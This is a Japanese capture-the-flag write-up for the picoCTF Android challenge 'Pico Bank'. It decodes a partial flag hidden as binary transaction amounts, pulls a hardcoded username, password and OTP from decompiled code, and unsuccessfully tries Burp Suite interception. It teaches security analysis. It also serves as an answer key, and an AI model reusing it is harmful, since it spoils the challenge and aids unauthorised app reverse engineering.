this.transactionList.add(new Transaction("Car Maintenance", "2023-07-12", "$ 110001", false));
this.transactionList.add(new Transaction("Gift Received", "2023-07-11", "$ 1011111", true));
this.transactionList.add(new Transaction("Rent", "2023-07-10", "$ 1101100", false));
this.transactionList.add(new Transaction("Water Bill", "2023-07-09", "$ 110001", false));
this.transactionList.add(new Transaction("Interest Earned", "2023-07-08", "$ 110011", true));
this.transactionList.add(new Transaction("Medical Expenses", "2023-07-07", "$ 1100100", false));
this.transactionList.add(new Transaction("Transport", "2023-07-06", "$ 1011111", false));
this.transactionList.add(new Transaction("Bonus", "2023-07-05", "$ 110100", true));
this.transactionList.add(new Transaction("Subscription Service", "2023-07-04", "$ 1100010", false));
this.transactionList.add(new Transaction("Freelance Payment", "2023-07-03", "$ 110000", true));
this.transactionList.add(new Transaction("Entertainment", "2023-07-02", "$ 1110101", false));
this.transactionList.add(new Transaction("Groceries", "2023-07-01", "$ 1110100", false));
this.transactionList.add(new Transaction("Insurance Premium", "2023-06-28", "$ 1011111", false));
this.transactionList.add(new Transaction("Charity Donation", "2023-06-26", "$ 1100010", true));
this.transactionList.add(new Transaction("Vacation Expense", "2023-06-26", "$ 110011", false));
this.transactionList.add(new Transaction("Home Repairs", "2023-06-24", "$ 110001", false));
this.transactionList.add(new Transaction("Pet Care", "2023-06-22", "$ 1101110", false));
this.transactionList.add(new Transaction("Personal Loan", "2023-06-18", "$ 1100111", true));
this.transactionList.add(new Transaction("Childcare", "2023-06-15", "$ 1011111", false));
ユーザーのトランザクション履歴のようだが、金額が全て1と0で構成されている。2進数っぽい。
金額を抽出して2進数からAsciiコードにに変換してみた (余談だが最初、正規表現をミスっており、2進数を全て拾えていなかった)。
└─$ egrep -o '[0-9]{6,8}' transaction.log
1110000
1101001
1100011
1101111
1000011
1010100
1000110
1111011
110001
1011111
1101100
110001
110011
1100100
1011111
110100
1100010
110000
1110101
1110100
1011111
1100010
110011
110001
1101110
1100111
1011111
以下は抽出した2進数をAsciiコードに変換するPythonスクリプト。
enc_flag = [1110000, 1101001, 1100011, 1101111, 1000011, 1010100, 1000110, 1111011, 110001, 1011111, 1101100, 110001, 110011, 1100100, 1011111, 110100, 1100010, 110000, 1110101, 1110100, 1011111, 1100010, 110011, 110001, 1101110, 1100111, 1011111]
flag = ""
for i in enc_flag:
flag += chr(int(str(i), 2))
print(flag)
以下は実行結果。読み通りフラグが現れたが、完全なフラグではなかった。
└─$ python3 solver.py
picoCTF{1_l13d_4b0ut_b31ng_
ソースコードの中にはほかにエンコード、もしくは暗号化されたデータは見当たらなかったので、Android Studioを利用した動的解析に移行した。
APKファイルをエミュレーターにインストールして起動したところ、ログインのためのユーザー名とパスワードを求められた。ユーザー名とパスワードはLogin.classの中にハードコードされていた。
public void onClick(View param1View) {
String str2 = Login.this.usernameEditText.getText().toString();
String str1 = Login.this.passwordEditText.getText().toString();
if ("johnson".equals(str2) && "tricky1990".equals(str1)) {
Intent intent = new Intent((Context)Login.this, OTP.class);
Login.this.startActivity(intent);
Login.this.finish();
} else {
Toast.makeText((Context)Login.this, "Incorrect credentials", 0).show();
}
ユーザー名にjohnson、パスワードにtricky1990を指定したところ、今度は4桁のワンタイムパスワードの入力を求められた。このワンタイムパスワードはresources.arsc -> string のotp_valueという変数の中にハードコードされていた。

ワンタイムパスワードに9673を指定したところ、ログインに成功した。
通知画面にHave you analyzed the server's response when handling OTP requests? というメッセージを発見。

OTP.class の中にサーバーからのレスポンスを処理するコードが記述されていた。
private void verifyOtp(String paramString) {
String str = "your server url" + "/verify-otp";
if (getResources().getString(R.string.otp_value).equals(paramString)) {
startActivity(new Intent((Context)this, MainActivity.class));
finish();
} else {
Toast.makeText((Context)this, "Invalid OTP", 0).show();
}
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("otp", paramString);
} catch (JSONException jSONException) {
jSONException.printStackTrace();
}
JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(1, str, jSONObject, new Response.Listener<JSONObject>() {
public void onResponse(JSONObject param1JSONObject) {
try {
if (param1JSONObject.getBoolean("success")) {
String str1 = param1JSONObject.getString("flag");
String str2 = param1JSONObject.getString("hint");
Intent intent = new Intent();
this(MainActivity.class);
intent.putExtra("flag", str1);
intent.putExtra("hint", str2);
OTP.this.startActivity(intent);
OTP.this.finish();
} else {
Toast.makeText((Context)OTP.this, "Invalid OTP", 0).show();
}
} catch (JSONException jSONException) {
jSONException.printStackTrace();
}
}
}new Response.ErrorListener() {
public void onErrorResponse(VolleyError param1VolleyError) {}
});
どうやらログインの際のサーバーからの応答の中に残りのフラグがある模様。
Android StudioにはNetwork Inspectorというネットワーク通信をデバッグする機能が備わっているのだが、この機能を使っても何の通信もキャプチャされなかった。
この記事を参考に、プロキシの設定をしてエミュレーター上のアプリの通信をBurp Suiteに送るように設定してみた。エミュレーター上のブラウザでの通信はちゃんとBurp Suiteに送られたのだが、肝心のPico Bankのアプリの通信はBurp Suiteに送られなかった。
調べるうちに、Burp Suiteの証明書をシステムレベルでインストールする必要がありそうなことが分かったのだが、その手順がまたややこしそうだったので、結局断念した。